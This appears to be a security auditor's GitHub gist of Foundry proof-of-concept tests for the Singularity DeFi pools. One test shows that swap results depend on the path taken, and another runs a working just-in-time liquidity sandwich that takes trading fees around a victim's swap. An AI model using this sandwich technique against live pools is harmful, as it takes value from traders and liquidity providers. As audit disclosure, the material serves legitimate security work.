Skip to content

Instantly share code, notes, and snippets.

@MrToph
Created June 24, 2022 06:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save MrToph/9a3549cb7a5bbc7db1a561d208e49ba5 to your computer and use it in GitHub Desktop.
Save MrToph/9a3549cb7a5bbc7db1a561d208e49ba5 to your computer and use it in GitHub Desktop.
Singularity POCs. Run `forge init --force --vscode --no-commit`, place file in `test/Contract.t.sol`, then `forge test -vvv`
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "contracts/SingularityPool.sol";
import "contracts/SingularityOracle.sol";
import "contracts/SingularityFactory.sol";
import "contracts/SingularityRouter.sol";
import "contracts/testing/TestChainlinkFeed.sol";
import "contracts/testing/TestERC20.sol";
import "contracts/testing/TestWFTM.sol";
import "contracts/utils/FixedPointMathLib.sol";
contract ContractTest is Test {
using FixedPointMathLib for uint256;
WFTM public wftm;
TestERC20 public eth;
TestERC20 public usdc;
TestERC20 public dai;
SingularityOracle public oracle;
SingularityFactory public factory;
SingularityRouter public router;
SingularityPool public wftmPool;
SingularityPool public ethPool;
SingularityPool public usdcPool;
SingularityPool public daiPool;
TestChainlinkFeed public wftmFeed;
TestChainlinkFeed public ethFeed;
TestChainlinkFeed public usdcFeed;
TestChainlinkFeed public daiFeed;
// fee receiver
address otherAddr = genAddr("otherAddr");
function setUp() public {
// deploy test tokens
wftm = new WFTM();
eth = new TestERC20("Ethereum", "ETH", 18);
eth.mint(address(this), 100000 * (10**eth.decimals()));
usdc = new TestERC20("USC Coin", "USDC", 6);
usdc.mint(address(this), 100000 * (10**usdc.decimals()));
dai = new TestERC20("Dai Stablecoin", "DAI", 18);
dai.mint(address(this), 1e30 * (10**dai.decimals()));
// deploy oracle
oracle = new SingularityOracle(address(this));
oracle.setPusher(address(this), true);
address[] memory assetArray = new address[](4);
assetArray[0] = address(wftm);
assetArray[1] = address(eth);
assetArray[2] = address(usdc);
assetArray[3] = address(dai);
uint256[] memory priceArray = new uint256[](4);
priceArray[0] = 2e18;
priceArray[1] = 2000e18;
priceArray[2] = 1e18;
priceArray[3] = 1e18;
// update prices
oracle.pushPrices(assetArray, priceArray);
wftmFeed = new TestChainlinkFeed(2 * (10**8));
oracle.setChainlinkFeed(address(wftm), address(wftmFeed));
ethFeed = new TestChainlinkFeed(2000 * (10**8));
oracle.setChainlinkFeed(address(eth), address(ethFeed));
usdcFeed = new TestChainlinkFeed(1 * (10**8));
oracle.setChainlinkFeed(address(usdc), address(usdcFeed));
daiFeed = new TestChainlinkFeed(1 * (10**8));
oracle.setChainlinkFeed(address(dai), address(daiFeed));
// deploy factory
factory = new SingularityFactory("Tranche A", address(this), address(oracle), otherAddr);
// deploy router
router = new SingularityRouter(address(factory), address(wftm));
factory.setRouter(address(router));
// create pools
wftmPool = SingularityPool(factory.createPool(address(wftm), false, 0.0015e18));
ethPool = SingularityPool(factory.createPool(address(eth), false, 0.0015e18));
usdcPool = SingularityPool(factory.createPool(address(usdc), true, 0.0004e18));
daiPool = SingularityPool(factory.createPool(address(dai), true, 0.0004e18));
address[] memory assetArray1 = new address[](4);
assetArray1[0] = address(wftm);
assetArray1[1] = address(eth);
assetArray1[2] = address(usdc);
assetArray1[3] = address(dai);
uint256[] memory capArray = new uint256[](4);
capArray[0] = type(uint256).max;
capArray[1] = type(uint256).max;
capArray[2] = type(uint256).max;
capArray[3] = type(uint256).max;
// set deposit caps
factory.setDepositCaps(assetArray1, capArray);
// approve pools
wftm.approve(address(wftmPool), type(uint256).max);
eth.approve(address(ethPool), type(uint256).max);
usdc.approve(address(usdcPool), type(uint256).max);
dai.approve(address(daiPool), type(uint256).max);
// approve router
wftm.approve(address(router), type(uint256).max);
eth.approve(address(router), type(uint256).max);
usdc.approve(address(router), type(uint256).max);
dai.approve(address(router), type(uint256).max);
wftmPool.approve(address(router), type(uint256).max);
ethPool.approve(address(router), type(uint256).max);
usdcPool.approve(address(router), type(uint256).max);
daiPool.approve(address(router), type(uint256).max);
// add initial liquidity, owned by some address
daiPool.deposit(1000e18, genAddr("lp-owner"));
usdcPool.deposit(1000e6, genAddr("lp-owner"));
}
function genAddr(bytes memory str) internal pure returns (address) {
return address(bytes20(keccak256(str)));
}
function testPathIndependence() public
{
uint256 daiIn = 650e18; // 65%
// 1. single swap
uint256 usdcOut = router.swapExactTokensForTokens(address(dai), address(usdc), daiIn, 0, address(this), 1e10);
// 2. two swaps (uncomment this, and comment 1. to see the difference)
// uint256 firstDaiIn = 604e18;
// uint256 usdcOut = router.swapExactTokensForTokens(address(dai), address(usdc), firstDaiIn, 0, address(this), 1e10);
// usdcOut += router.swapExactTokensForTokens(address(dai), address(usdc), daiIn - firstDaiIn, 0, address(this), 1e10);
console.log("usdcOut", usdcOut);
}
function testJustInTimeSandwich() public {
// LPs get the fees (increases price-per-share). can just-in-time provide liqudity to capture the trading fee
address[] memory tokens = new address[](1);
tokens[0] = address(dai);
uint256[] memory baseFees = new uint256[](1);
baseFees[0] = 0.0015e18;
factory.setBaseFees(tokens, baseFees);
uint256 daiBalanceBefore = dai.balanceOf(address(this));
// sandwich 1. deposit liquidity (need to pay deposit fee)
uint256 daiToAdd = 2100e18;
uint256 liquidity = router.addLiquidity(address(dai), daiToAdd, 0, address(this), 1e10);
// user does trade
uint256 daiIn = 650e18; // originally 65% of the pool balance
dai.mint(otherAddr, daiIn);
vm.startPrank(otherAddr);
dai.approve(address(router), type(uint256).max);
router.swapExactTokensForTokens(address(dai), address(usdc), daiIn, 0, address(this), 1e10);
vm.stopPrank();
// sandwich: 2. remove LP again
router.removeLiquidity(address(dai), liquidity, 0, address(this), 1e10);
uint256 daiBalanceAfter = dai.balanceOf(address(this));
assertGt(daiBalanceAfter, daiBalanceBefore);
console.log("DAI profit", daiBalanceAfter - daiBalanceBefore);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment